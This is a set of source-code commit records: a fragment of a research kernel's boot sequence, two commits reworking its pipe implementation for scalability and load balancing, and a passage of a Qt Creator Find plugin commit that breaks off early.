struct cpu *c = &cpus[i];
warmreset(v2p(code));
// Tell bootother.S what stack to use and the address of apstart;
// it expects to find these two addresses stored just before
// its first instruction.
stack = (char*) kalloc("kstack", KSTACKSIZE);
*(u32*)(code-4) = (u32)v2p(&apstart);
*(u64*)(code-12) = (u64)stack + KSTACKSIZE;
// bootother.S sets this to 0x0a55face early on
*(u32*)(code-64) = 0;
bstate.store(0);
bcpuid = c->id;
lapic->start_ap(c, v2p(code));
#if CODEX
codex_magic_action_run_thread_create(c->id);
#endif
// Wait for cpu to finish mpmain()
while(bstate.load() == 0)
nop_pause();
rstrreset();
}
}
void
cmain(u64 mbmagic, u64 mbaddr)
{
extern u64 cpuhz;
// Make cpus[0] work. CPU 0's percpu data is pre-allocated directly
// in the image. *cpu and such won't work until we inittls.
percpu_offsets[0] = __percpu_start;
inituart();
initphysmem(mbaddr);
initpg(); // Requires initphysmem
inithz(); // CPU Hz, microdelay
initseg(&cpus[0]);
inittls(&cpus[0]); // Requires initseg
initacpitables(); // Requires initpg, inittls
initlapic(); // Requires initpg
initnuma(); // Requires initacpitables, initlapic
initpercpu(); // Requires initnuma
initcpus(); // Requires initnuma, initpercpu,
// suggests initacpitables
initpic(); // interrupt controller
initiommu(); // Requires initlapic
initextpic(); // Requires initpic
// Interrupt routing is now configured
inituartcons(); // Requires interrupt routing
initcga();
initpageinfo(); // Requires initnuma
// Some global constructors require mycpu()->id (via myid()) which
// we setup in inittls. Some require dynamic allocation of large
// memory regions (e.g., for hash tables), which requires
// initpageinfo and needs to happen *before* initkalloc. (Note that
// gcc 4.7 eliminated the .ctors section entirely, but gcc has
// supported .init_array for some time.) Note that this will
// implicitly initialize CPU 0's per-CPU objects as well.
extern void (*__init_array_start[])(int, char **, char **);
extern void (*__init_array_end[])(int, char **, char **);
for (size_t i = 0; i < __init_array_end - __init_array_start; i++)
(*__init_array_start[i])(0, nullptr, nullptr);
inittrap();
inithpet(); // Requires initacpitables
initfpu(); // Requires nothing
initmsr(); // Requires nothing
initcmdline();
initkalloc(); // Requires initpageinfo
initz();
initproc(); // process table
initsched(); // scheduler run queues
initidle();
initgc(); // gc epochs and threads
initrefcache(); // Requires initsched
initconsole();
initfutex();
initsamp();
initlockstat();
initacpi(); // Requires initacpitables, initkalloc?
inite1000(); // Before initpci
initahci();
initpci(); // Suggests initacpi
initnet();
initrtc(); // Requires inithpet
initdev(); // Misc /dev nodes
initdisk(); // disk
initinode(); // inode cache
initmfs();
if (VERBOSE)
cprintf("ncpu %d %lu MHz\n", ncpu, cpuhz / 1000000);
inituser(); // first user process
initdblflt(); // Requires inittrap
initnmi();
// XXX hack until mnodes can load from disk
extern void mfsload();
mfsload();
#if CODEX
initcodex();
#endif
bootothers(); // start other processors
cleanuppg(); // Requires bootothers
initcpprt();
initwd(); // Requires initnmi
idleloop();
panic("Unreachable");
}
void
halt(void)
{
acpi_power_off();
for (;;);
}
<|endoftext|>
|
<commit_before>#include "types.h"
#include "mmu.h"
#include "kernel.hh"
#include "spinlock.hh"
#include "condvar.hh"
#include "proc.hh"
#include "fs.h"
#include "file.hh"
#include "cpu.hh"
#include "uk/unistd.h"
#include "uk/fcntl.h"
#define PIPESIZE (4*4096)
struct pipe {
virtual ~pipe() { };
virtual int write(const char *addr, int n) = 0;
virtual int read(char *addr, int n) = 0;
virtual int close(int writable) = 0;
NEW_DELETE_OPS(pipe);
};
struct ordered : pipe {
struct spinlock lock;
struct spinlock lock_close;
struct condvar empty;
struct condvar full;
int readopen; // read fd is still open
int writeopen; // write fd is still open
u32 nread; // number of bytes read
u32 nwrite; // number of bytes written
bool nonblock;
char data[PIPESIZE];
ordered(int flags)
: readopen(1), writeopen(1), nread(0), nwrite(0),
nonblock(flags & O_NONBLOCK)
{
lock = spinlock("pipe", LOCKSTAT_PIPE);
lock_close = spinlock("pipe:close", LOCKSTAT_PIPE);
empty = condvar("pipe:empty");
full = condvar("pipe:full");
};
~ordered() override {
};
NEW_DELETE_OPS(ordered);
virtual int write(const char *addr, int n) override {
scoped_acquire l(&lock);
for(int i = 0; i < n; i++){
while(nwrite == nread + PIPESIZE){
if (nonblock || myproc()->killed)
return -1;
scoped_acquire lclose(&lock_close);
if (readopen == 0)
return -1;
full.sleep(&lock, &lock_close);
}
data[nwrite++ % PIPESIZE] = addr[i];
}
if (n > 0)
empty.wake_all();
return n;
}
virtual int read(char *addr, int n) override {
int i;
scoped_acquire l(&lock);
while(nread == nwrite) {
if (nonblock || myproc()->killed)
return -1;
scoped_acquire lclose(&lock_close);
if (writeopen == 0)
return 0;
empty.sleep(&lock, &lock_close);
}
for(i = 0; i < n; i++) {
if(nread == nwrite)
break;
addr[i] = data[nread++ % PIPESIZE];
}
if (i > 0)
full.wake_all();
return i;
}
virtual int close(int writable) override {
scoped_acquire l(&lock_close);
if(writable){
writeopen = 0;
} else {
readopen = 0;
}
empty.wake_all();
if(readopen == 0 && writeopen == 0){
return 1;
}
return 0;
}
};
int
pipealloc(sref<file> *f0, sref<file> *f1, int flags)
{
struct pipe *p = nullptr;
auto cleanup = scoped_cleanup([&](){delete p;});
try {
p = new ordered(flags);
*f0 = make_sref<file_pipe_reader>(p);
*f1 = make_sref<file_pipe_writer>(p);
} catch (std::bad_alloc &e) {
return -1;
}
cleanup.dismiss();
return 0;
}
void
pipeclose(struct pipe *p, int writable)
{
if (p->close(writable))
delete p;
}
int
pipewrite(struct pipe *p, const char *addr, int n)
{
return p->write(addr, n);
}
int
piperead(struct pipe *p, char *addr, int n)
{
return p->read(addr, n);
}
<commit_msg>pipe: more scalable non-blocking reads/writes when empty/full<commit_after>#include "types.h"
#include "mmu.h"
#include "kernel.hh"
#include "spinlock.hh"
#include "condvar.hh"
#include "proc.hh"
#include "fs.h"
#include "file.hh"
#include "cpu.hh"
#include "uk/unistd.h"
#include "uk/fcntl.h"
#define PIPESIZE (4*4096)
struct pipe {
virtual ~pipe() { };
virtual int write(const char *addr, int n) = 0;
virtual int read(char *addr, int n) = 0;
virtual int close(int writable) = 0;
NEW_DELETE_OPS(pipe);
};
struct ordered : pipe {
struct spinlock lock;
struct spinlock lock_close;
struct condvar empty;
struct condvar full;
int readopen; // read fd is still open
int writeopen; // write fd is still open
std::atomic<size_t> nread; // number of bytes read
std::atomic<size_t> nwrite; // number of bytes written
bool nonblock;
char data[PIPESIZE];
ordered(int flags)
: readopen(1), writeopen(1), nread(0), nwrite(0),
nonblock(flags & O_NONBLOCK)
{
lock = spinlock("pipe", LOCKSTAT_PIPE);
lock_close = spinlock("pipe:close", LOCKSTAT_PIPE);
empty = condvar("pipe:empty");
full = condvar("pipe:full");
};
~ordered() override {
};
NEW_DELETE_OPS(ordered);
virtual int write(const char *addr, int n) override {
if (nonblock) {
for (;;) {
size_t nr = nread;
size_t nw = nwrite;
if (nr == nread) {
// use nread sort-of like a seqlock
if (nw == nr + PIPESIZE)
return -1;
break;
}
}
}
scoped_acquire l(&lock);
for(int i = 0; i < n; i++){
while(nwrite == nread + PIPESIZE){
if (nonblock || myproc()->killed)
return -1;
scoped_acquire lclose(&lock_close);
if (readopen == 0)
return -1;
full.sleep(&lock, &lock_close);
}
data[nwrite++ % PIPESIZE] = addr[i];
}
if (n > 0)
empty.wake_all();
return n;
}
virtual int read(char *addr, int n) override {
if (nonblock) {
for (;;) {
size_t nr = nread;
size_t nw = nwrite;
if (nr == nread) {
// use nread sort-of like a seqlock
if (nw == nr)
return -1;
break;
}
}
}
scoped_acquire l(&lock);
while(nread == nwrite) {
if (nonblock || myproc()->killed)
return -1;
scoped_acquire lclose(&lock_close);
if (writeopen == 0)
return 0;
empty.sleep(&lock, &lock_close);
}
int i;
for(i = 0; i < n; i++) {
if(nread == nwrite)
break;
addr[i] = data[nread++ % PIPESIZE];
}
if (i > 0)
full.wake_all();
return i;
}
virtual int close(int writable) override {
scoped_acquire l(&lock_close);
if(writable){
writeopen = 0;
} else {
readopen = 0;
}
empty.wake_all();
if(readopen == 0 && writeopen == 0){
return 1;
}
return 0;
}
};
int
pipealloc(sref<file> *f0, sref<file> *f1, int flags)
{
struct pipe *p = nullptr;
auto cleanup = scoped_cleanup([&](){delete p;});
try {
p = new ordered(flags);
*f0 = make_sref<file_pipe_reader>(p);
*f1 = make_sref<file_pipe_writer>(p);
} catch (std::bad_alloc &e) {
return -1;
}
cleanup.dismiss();
return 0;
}
void
pipeclose(struct pipe *p, int writable)
{
if (p->close(writable))
delete p;
}
int
pipewrite(struct pipe *p, const char *addr, int n)
{
return p->write(addr, n);
}
int
piperead(struct pipe *p, char *addr, int n)
{
return p->read(addr, n);
}
<|endoftext|>
|
<commit_before>#include "types.h"
#include "mmu.h"
#include "kernel.hh"
#include "spinlock.h"
#include "condvar.h"
#include "queue.h"
#include "proc.hh"
#include "fs.h"
#include "file.hh"
#include "cpu.hh"
#include "ilist.hh"
#include "uk/unistd.h"
#define PIPESIZE 512
struct pipe {
virtual int write(const char *addr, int n) = 0;
virtual int read(char *addr, int n) = 0;
virtual int close(int writable) = 0;
NEW_DELETE_OPS(pipe);
};
struct ordered : pipe {
struct spinlock lock;
struct condvar cv;
int readopen; // read fd is still open
int writeopen; // write fd is still open
u32 nread; // number of bytes read
u32 nwrite; // number of bytes written
char data[PIPESIZE];
ordered() : readopen(1), writeopen(1), nread(0), nwrite(0) {
lock = spinlock("pipe", LOCKSTAT_PIPE);
cv = condvar("pipe");
};
~ordered() {
};
NEW_DELETE_OPS(ordered);
virtual int write(const char *addr, int n) {
acquire(&lock);
for(int i = 0; i < n; i++){
while(nwrite == nread + PIPESIZE){
if(readopen == 0 || myproc()->killed){
release(&lock);
return -1;
}
cv.wake_all();
cv.sleep(&lock);
}
data[nwrite++ % PIPESIZE] = addr[i];
}
cv.wake_all();
release(&lock);
return n;
}
virtual int read(char *addr, int n) {
int i;
acquire(&lock);
while(nread == nwrite && writeopen) {
if(myproc()->killed){
release(&lock);
return -1;
}
cv.sleep(&lock);
}
for(i = 0; i < n; i++) {
if(nread == nwrite)
break;
addr[i] = data[nread++ % PIPESIZE];
}
cv.wake_all();
release(&lock);
return i;
}
virtual int close(int writable) {
acquire(&lock);
if(writable){
writeopen = 0;
} else {
readopen = 0;
}
cv.wake_all();
if(readopen == 0 && writeopen == 0){
release(&lock);
return 1;
} else
release(&lock);
return 0;
}
};
// Initial support for unordered pipes by having per-core pipes. A writer
// writes n bytes as a single unit in its local per-core pipe, from which the
// neighbor is intended to read the n bytes. If a writer's local pipe is full,
// it sleeps until a reader to wake it up. A reader cycles through all per-core
// pipes, starting from the next core. If it reads from a full pipe, it wakes up
// the local writer. If all pipes are empty, then it keeps trying.
//
// tension between load balance and performance: if there is no need for load
// balance, reader and writer should agree on a given pipe and use only that
// one.
//
// tension between space sharing and time sharing: maybe should read from local
// pipe, maybe should give up cpu when no pipe has data.
//
// XXX shouldn't cpuid has index in pipes because process may be rescheduled.
//
// XXX Should pipe track #readers, #writers? so that we don't have to allocate
// NCPU per-core pipes.
struct corepipe {
u32 nread;
u32 nwrite;
int readopen;
char data[PIPESIZE];
struct spinlock lock;
struct condvar cv;
corepipe() : nread(0), nwrite(0), readopen(1) {
lock = spinlock("corepipe", LOCKSTAT_PIPE);
cv = condvar("pipe");
};
~corepipe();
NEW_DELETE_OPS(corepipe);
int write(const char *addr, int n, int sleep) {
int r = -1;
acquire(&lock);
while (1) {
if(readopen == 0 || myproc()->killed)
break;
if (nwrite + n < nread + PIPESIZE) {
for (int i = 0; i < n; i++)
data[nwrite++ % PIPESIZE] = addr[i];
r = n;
break;
} else if (sleep) {
cprintf("w");
cv.sleep(&lock);
} else {
break;
}
}
release(&lock);
return r;
}
int read(char *addr, int n) {
int r = 0;
acquire(&lock);
if (nread + n <= nwrite) {
for(int i = 0; i < n; i++)
addr[i] = data[nread++ % PIPESIZE];
r = n;
cv.wake_all(); // XXX only wakeup when it was full?
}
release(&lock);
return r;
}
};
struct unordered : pipe {
corepipe *pipes[NCPU];
int writeopen;
unordered() : writeopen(1) {
for (int i = 0; i < NCPU; i++) {
pipes[i] = new corepipe();
}
};
~unordered() {
};
NEW_DELETE_OPS(unordered);
int write(const char *addr, int n) {
int r;
corepipe *cp = pipes[(mycpu()->id) % NCPU];
r = cp->write(addr, n, 1); // XXX we could try to write in another pipe
assert (n == r);
return r;
};
int read(char *addr, int n) {
int r;
while (1) {
for (int i = (mycpu()->id + 1) % NCPU; i != mycpu()->id;
i = (i + 1) % NCPU) {
r = pipes[i]->read(addr, n);
if (r == n) return r;
}
if (writeopen == 0 || myproc()->killed) return -1;
// XXX should we give up the CPU at some point?
}
return r;
}
int close(int writeable) {
int readopen = 1;
int r = 0;
for (int i = 0; i < NCPU; i++) acquire(&pipes[i]->lock);
if(writeable){
writeopen = 0;
} else {
for (int i = 0; i < NCPU; i++) pipes[i]->readopen = 0;
readopen = 0;
}
for (int i = 0; i < NCPU; i++) pipes[i]->cv.wake_all();
if(readopen == 0 && writeopen == 0) {
r = 1;
}
for (int i = 0; i < NCPU; i++) release(&pipes[i]->lock);
return r;
}
};
int
pipealloc(struct file **f0, struct file **f1, int flag)
{
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
if((*f0 = file::alloc()) == 0 || (*f1 = file::alloc()) == 0)
goto bad;
if (flag & PIPE_UNORDED) {
p = new unordered();
} else {
p = new ordered();
}
(*f0)->type = file::FD_PIPE;
(*f0)->readable = 1;
(*f0)->writable = 0;
(*f0)->pipe = p;
(*f1)->type = file::FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
return 0;
bad:
if(p)
delete p;
if(*f0)
(*f0)->dec();
if(*f1)
(*f1)->dec();
return -1;
}
void
pipeclose(struct pipe *p, int writable)
{
if (p->close(writable))
delete p;
}
int
pipewrite(struct pipe *p, const char *addr, int n)
{
return p->write(addr, n);
}
int
piperead(struct pipe *p, char *addr, int n)
{
return p->read(addr, n);
}
<commit_msg>simple load balancing unordered pipes<commit_after>#include "types.h"
#include "mmu.h"
#include "kernel.hh"
#include "spinlock.h"
#include "condvar.h"
#include "queue.h"
#include "proc.hh"
#include "fs.h"
#include "file.hh"
#include "cpu.hh"
#include "ilist.hh"
#include "uk/unistd.h"
#include "rnd.hh"
#define PIPESIZE 512
struct pipe {
virtual int write(const char *addr, int n) = 0;
virtual int read(char *addr, int n) = 0;
virtual int close(int writable) = 0;
NEW_DELETE_OPS(pipe);
};
struct ordered : pipe {
struct spinlock lock;
struct condvar cv;
int readopen; // read fd is still open
int writeopen; // write fd is still open
u32 nread; // number of bytes read
u32 nwrite; // number of bytes written
char data[PIPESIZE];
ordered() : readopen(1), writeopen(1), nread(0), nwrite(0) {
lock = spinlock("pipe", LOCKSTAT_PIPE);
cv = condvar("pipe");
};
~ordered() {
};
NEW_DELETE_OPS(ordered);
virtual int write(const char *addr, int n) {
acquire(&lock);
for(int i = 0; i < n; i++){
while(nwrite == nread + PIPESIZE){
if(readopen == 0 || myproc()->killed){
release(&lock);
return -1;
}
cv.wake_all();
cv.sleep(&lock);
}
data[nwrite++ % PIPESIZE] = addr[i];
}
cv.wake_all();
release(&lock);
return n;
}
virtual int read(char *addr, int n) {
int i;
acquire(&lock);
while(nread == nwrite && writeopen) {
if(myproc()->killed){
release(&lock);
return -1;
}
cv.sleep(&lock);
}
for(i = 0; i < n; i++) {
if(nread == nwrite)
break;
addr[i] = data[nread++ % PIPESIZE];
}
cv.wake_all();
release(&lock);
return i;
}
virtual int close(int writable) {
acquire(&lock);
if(writable){
writeopen = 0;
} else {
readopen = 0;
}
cv.wake_all();
if(readopen == 0 && writeopen == 0){
release(&lock);
return 1;
} else
release(&lock);
return 0;
}
};
// Initial support for unordered pipes by having per-core pipes. A writer
// writes n bytes as a single unit in its local per-core pipe, from which the
// neighbor is intended to read the n bytes. If a writer's local pipe is full,
// it sleeps until a reader to wake it up. A reader cycles through all per-core
// pipes, starting from the next core. If it reads from a full pipe, it wakes up
// the local writer. If all pipes are empty, then it keeps trying.
//
// tension between load balance and performance: if there is no need for load
// balance, reader and writer should agree on a given pipe and use only that
// one.
//
// tension between space sharing and time sharing: maybe should read from local
// pipe, maybe should give up cpu when no pipe has data.
//
// XXX shouldn't cpuid has index in pipes because process may be rescheduled.
//
// XXX Should pipe track #readers, #writers? so that we don't have to allocate
// NCPU per-core pipes.
struct corepipe {
u32 nread;
u32 nwrite;
int readopen;
char data[PIPESIZE];
struct spinlock lock;
struct condvar cv;
corepipe() : nread(0), nwrite(0), readopen(1) {
lock = spinlock("corepipe", LOCKSTAT_PIPE);
cv = condvar("pipe");
};
~corepipe();
NEW_DELETE_OPS(corepipe);
int write(const char *addr, int n, int sleep) {
int r = 0;
acquire(&lock);
while (1) {
if(readopen == 0 || myproc()->killed) {
r = -1;
break;
}
if (nwrite + n < nread + PIPESIZE) {
for (int i = 0; i < n; i++)
data[nwrite++ % PIPESIZE] = addr[i];
r = n;
break;
} else if (sleep) {
cprintf("w");
cv.sleep(&lock);
} else {
break;
}
}
release(&lock);
return r;
}
int read(char *addr, int n) {
int r = 0;
acquire(&lock);
if (nread + n <= nwrite) {
for(int i = 0; i < n; i++)
addr[i] = data[nread++ % PIPESIZE];
r = n;
// cv.wake_all(); // XXX only wakeup when it was full?
}
release(&lock);
return r;
}
};
struct unordered : pipe {
corepipe *pipes[NCPU];
int writeopen;
unordered() : writeopen(1) {
for (int i = 0; i < NCPU; i++) {
pipes[i] = new corepipe();
}
};
~unordered() {
};
NEW_DELETE_OPS(unordered);
int write(const char *addr, int n) {
int r;
corepipe *cp = pipes[(mycpu()->id) % NCPU];
do {
r = cp->write(addr, n, 0);
if (r < 0) break;
cp = pipes[rnd() % NCPU]; // try another pipe if cp is full
// XXX should we give up the CPU at some point?
} while (r != n);
return r;
};
int read(char *addr, int n) {
int r;
while (1) {
for (int i = (mycpu()->id + 1) % NCPU; i != mycpu()->id;
i = (i + 1) % NCPU) {
r = pipes[i]->read(addr, n);
if (r == n) return r;
}
if (writeopen == 0 || myproc()->killed) return -1;
r = pipes[mycpu()->id]->read(addr, n);
if (r == n) return r;
// XXX should we give up the CPU at some point?
}
return r;
}
int close(int writeable) {
int readopen = 1;
int r = 0;
for (int i = 0; i < NCPU; i++) acquire(&pipes[i]->lock);
if(writeable){
writeopen = 0;
} else {
for (int i = 0; i < NCPU; i++) pipes[i]->readopen = 0;
readopen = 0;
}
for (int i = 0; i < NCPU; i++) pipes[i]->cv.wake_all();
if(readopen == 0 && writeopen == 0) {
r = 1;
}
for (int i = 0; i < NCPU; i++) release(&pipes[i]->lock);
return r;
}
};
int
pipealloc(struct file **f0, struct file **f1, int flag)
{
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
if((*f0 = file::alloc()) == 0 || (*f1 = file::alloc()) == 0)
goto bad;
if (flag & PIPE_UNORDED) {
p = new unordered();
} else {
p = new ordered();
}
(*f0)->type = file::FD_PIPE;
(*f0)->readable = 1;
(*f0)->writable = 0;
(*f0)->pipe = p;
(*f1)->type = file::FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
return 0;
bad:
if(p)
delete p;
if(*f0)
(*f0)->dec();
if(*f1)
(*f1)->dec();
return -1;
}
void
pipeclose(struct pipe *p, int writable)
{
if (p->close(writable))
delete p;
}
int
pipewrite(struct pipe *p, const char *addr, int n)
{
return p->write(addr, n);
}
int
piperead(struct pipe *p, char *addr, int n)
{
return p->read(addr, n);
}
<|endoftext|>
|
<commit_before>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2009 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** Commercial Usage
**
** Licensees holding valid Qt Commercial licenses may use this file in
** accordance with the Qt Commercial License Agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Nokia.
**
** GNU Lesser General Public License Usage
**
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** If you are unsure which license is appropriate for your use, please
** contact the sales department at http://qt.nokia.com/contact.
**
**************************************************************************/
#include "findplugin.h"
#include "textfindconstants.h"
#include "currentdocumentfind.h"
#include "findtoolwindow.h"
#include "searchresultwindow.h"
#include <coreplugin/actionmanager/actionmanager.h>
#include <coreplugin/actionmanager/actioncontainer.h>
#include <coreplugin/actionmanager/command.h>
#include <coreplugin/coreconstants.h>
#include <coreplugin/icore.h>
#include <extensionsystem/pluginmanager.h>
#include <utils/qtcassert.h>
#include <QtCore/QtPlugin>
#include <QtCore/QSettings>
/*!
\namespace Find
The Find namespace provides everything that has to do with search term based searches.
*/
/*!
\namespace Find::Internal
\internal
*/
/*!
\namespace Find::Internal::ItemDataRoles
\internal
*/
Q_DECLARE_METATYPE(Find::IFindFilter*)
namespace {
const int MAX_COMPLETIONS = 50;
}
using namespace Find;
using namespace Find::Internal;
FindPlugin::FindPlugin()
: m_currentDocumentFind(0),
m_findToolBar(0),
m_findDialog(0),
m_findCompletionModel(new QStringListModel(this)),
m_replaceCompletionModel(new QStringListModel(this))
{
}
FindPlugin::~FindPlugin()
{
delete m_currentDocumentFind;
delete m_findToolBar;
delete m_findDialog;
}
bool FindPlugin::initialize(const QStringList &, QString *)
{
setupMenu();
m_currentDocumentFind = new CurrentDocumentFind;
m_findToolBar = new FindToolBar(this, m_currentDocumentFind);
m_findDialog = new FindToolWindow(this);
SearchResultWindow *searchResultWindow = new SearchResultWindow;
addAutoReleasedObject(searchResultWindow);
return true;
}
void FindPlugin::extensionsInitialized()
{
setupFilterMenuItems();
readSettings();
}
void FindPlugin::shutdown()
{
m_findToolBar->setVisible(false);
m_findToolBar->setParent(0);
m_currentDocumentFind->removeConnections();
writeSettings();
}
void FindPlugin::filterChanged()
{
IFindFilter *changedFilter = qobject_cast<IFindFilter *>(sender());
QAction *action = m_filterActions.value(changedFilter);
QTC_ASSERT(changedFilter, return);
QTC_ASSERT(action, return);
action->setEnabled(changedFilter->isEnabled());
bool haveEnabledFilters = false;
foreach (IFindFilter *filter, m_filterActions.keys()) {
if (filter->isEnabled()) {
haveEnabledFilters = true;
break;
}
}
m_openFindDialog->setEnabled(haveEnabledFilters);
}
void FindPlugin::openFindFilter()
{
QAction *action = qobject_cast<QAction*>(sender());
QTC_ASSERT(action, return);
IFindFilter *filter = action->data().value<IFindFilter *>();
QString currentFindString = (m_currentDocumentFind->isEnabled() ? m_currentDocumentFind->currentFindString() : "");
if (!currentFindString.isEmpty())
m_findDialog->setFindText(currentFindString);
m_findDialog->open(filter);
}
void FindPlugin::setupMenu()
{
Core::ActionManager *am = Core::ICore::instance()->actionManager();
Core::ActionContainer *medit = am->actionContainer(Core::Constants::M_EDIT);
Core::ActionContainer *mfind = am->createMenu(Constants::M_FIND);
medit->addMenu(mfind, Core::Constants::G_EDIT_FIND);
mfind->menu()->setTitle(tr("&Find/Replace"));
mfind->appendGroup(Constants::G_FIND_CURRENTDOCUMENT);
mfind->appendGroup(Constants::G_FIND_FILTERS);
mfind->appendGroup(Constants::G_FIND_FLAGS);
mfind->appendGroup(Constants::G_FIND_ACTIONS);
QList<int> globalcontext = QList<int>() << Core::Constants::C_GLOBAL_ID;
Core::Command *cmd;
QAction *separator;
separator = new QAction(this);
separator->setSeparator(true);
cmd = am->registerAction(separator, QLatin1String("Find.Sep.Flags"), globalcontext);
mfind->addAction(cmd, Constants::G_FIND_FLAGS);
separator = new QAction(this);
separator->setSeparator(true);
cmd = am->registerAction(separator, QLatin1String("Find.Sep.Actions"), globalcontext);
mfind->addAction(cmd, Constants::G_FIND_ACTIONS);
m_openFindDialog = new QAction(tr("Find..."), this);
cmd = am->registerAction(m_openFindDialog, QLatin1String("Find.Dialog"), globalcontext);
cmd->setDefaultKeySequence(QKeySequence(tr("Ctrl+Shift+F")));
mfind->addAction(cmd, Constants::G_FIND_FILTERS);
connect(m_openFindDialog, SIGNAL(triggered()), this, SLOT(openFindFilter()));
}
void FindPlugin::setupFilterMenuItems()
{
Core::ActionManager *am = Core::ICore::instance()->actionManager();
QList<IFindFilter*> findInterfaces =
ExtensionSystem::PluginManager::instance()->getObjects<IFindFilter>();
Core::Command *cmd;
QList<int> globalcontext = QList<int>() << Core::Constants::C_GLOBAL_ID;
Core::ActionContainer *mfind = am->actionContainer(Constants::M_FIND);
m_filterActions.clear();
bool haveEnabledFilters = false;
foreach (IFindFilter *filter, findInterfaces) {
QAction *action = new QAction(QString(" %1").arg(filter->name()), this);
bool isEnabled = filter->isEnabled();
if (isEnabled)
haveEnabledFilters = true;
action->setEnabled(isEnabled);
action->setData(qVariantFromValue(filter));
cmd = am->registerAction(action, QLatin1String("FindFilter.")+filter->name(), globalcontext);
cmd->setDefaultKeySequence(filter->defaultShortcut());
mfind->addAction(cmd, Constants::G_FIND_FILTERS);
m_filterActions.insert(filter, action);
connect(action, SIGNAL(triggered(bool)), this, SLOT(openFindFilter()));
connect(filter, SIGNAL(changed()), this, SLOT(filterChanged()));
}
m_findDialog->setFindFilters(findInterfaces);
m_openFindDialog->setEnabled(haveEnabledFilters);
}
QTextDocument::FindFlags FindPlugin::findFlags() const
{
return m_findFlags;
}
void FindPlugin::setCaseSensitive(bool sensitive)
{
setFindFlag(QTextDocument::FindCaseSensitively, sensitive);
}
void FindPlugin::setWholeWord(bool wholeOnly)
{
setFindFlag(QTextDocument::FindWholeWords, wholeOnly);
}
void FindPlugin::setBackward(bool backward)
{
setFindFlag(QTextDocument::FindBackward, backward);
}
void FindPlugin::setFindFlag(QTextDocument::FindFlag flag, bool enabled)
{
bool hasFlag = hasFindFlag(flag);
if ((hasFlag && enabled) || (!hasFlag && !enabled))
return;
if (enabled)
m_findFlags |= flag;
else
m_findFlags &= ~flag;
if (flag != QTextDocument::FindBackward)
emit findFlagsChanged();
}
bool FindPlugin::hasFindFlag(QTextDocument::FindFlag flag)
{
return m_findFlags & flag;
}
void FindPlugin::writeSettings()
{
QSettings *settings = Core::ICore::instance()->settings();
settings->beginGroup("Find");
settings->setValue("Backward", QVariant((m_findFlags & QTextDocument::FindBackward) != 0));
settings->setValue("CaseSensitively", QVariant((m_findFlags & QTextDocument::FindCaseSensitively) != 0));
settings->setValue("WholeWords", QVariant((m_findFlags & QTextDocument::FindWholeWords) != 0));
settings->setValue("FindStrings", m_findCompletions);
settings->setValue("ReplaceStrings", m_replaceCompletions);
settings->endGroup();
m_findToolBar->writeSettings();
m_findDialog->writeSettings();
}
void FindPlugin::readSettings()
{
QSettings *settings = Core::ICore::instance()->settings();
settings->beginGroup("Find");
bool block = blockSignals(true);
setBackward(settings->value("Backward", false).toBool());
setCaseSensitive(settings->value("CaseSensitively", false).toBool());
setWholeWord(settings->value("WholeWords", false).toBool());
blockSignals(block);
m_findCompletions = settings->value("FindStrings").toStringList();
m_replaceCompletions = settings->value("ReplaceStrings").toStringList();
m_findCompletionModel->setStringList(m_findCompletions);
m_replaceCompletionModel->setStringList(m_replaceCompletions);
settings->endGroup();
m_findToolBar->readSettings();
m_findDialog->readSettings();
emit findFlagsChanged(); // would have been done in the setXXX methods above
}
void FindPlugin::updateFindCompletion(const QString &text)
{
updateCompletion(text, m_findCompletions, m_findCompletionModel);
}
void FindPlugin::updateReplaceCompletion(const QString &text)
{
updateCompletion(text, m_replaceCompletions, m_replaceCompletionModel);
}
void FindPlugin::updateCompletion(const QString &text, QStringList &completions, QStringListModel *model)
{
if (text.isEmpty())
return;
completions.removeAll(text);
completions.prepend(text);
while (completions.size() > MAX_COMPLETIONS)
completions.removeLast();
model->setStringList(completions);
}
Q_EXPORT_PLUGIN(FindPlugin)
<commit_msg>Fix a bug with selecting copying the right text to the Find dialog.<commit_after>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2009 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** Commercial Usage
**
** Licensees holding valid Qt Commercial licenses may use this file in
** accordance with the Qt Commercial License Agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Nokia.
**
** GNU Lesser General Public License Usage
**
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** If you are unsure which license is appropriate for your use, please
** contact the sales department at http://qt.nokia.com/contact.
**
**************************************************************************/
#include "findplugin.h"
#include "textfindconstants.h"
#include "currentdocumentfind.h"
#include "findtoolwindow.h"
#include "searchresultwindow.h"
#include <coreplugin/actionmanager/actionmanager.h>
#include <coreplugin/actionmanager/actioncontainer.h>
#include <coreplugin/actionmanager/command.h>
#include <coreplugin/coreconstants.h>
#include <coreplugin/icore.h>
#include <extensionsystem/pluginmanager.h>
#include <utils/qtcassert.h>
#include <QtCore/QtPlugin>
#include <QtCore/QSettings>
/*!
\namespace Find
The Find namespace provides everything that has to do with search term based searches.
*/
/*!
\namespace Find::Internal
\internal
*/
/*!
\namespace Find::Internal::ItemDataRoles
\internal
*/
Q_DECLARE_METATYPE(Find::IFindFilter*)
namespace {
const int MAX_COMPLETIONS = 50;
}
using namespace Find;
using namespace Find::Internal;
FindPlugin::FindPlugin()
: m_currentDocumentFind(0),
m_findToolBar(0),
m_findDialog(0),
m_findCompletionModel(new QStringListModel(this)),
m_replaceCompletionModel(new QStringListModel(this))
{
}
FindPlugin::~FindPlugin()
{
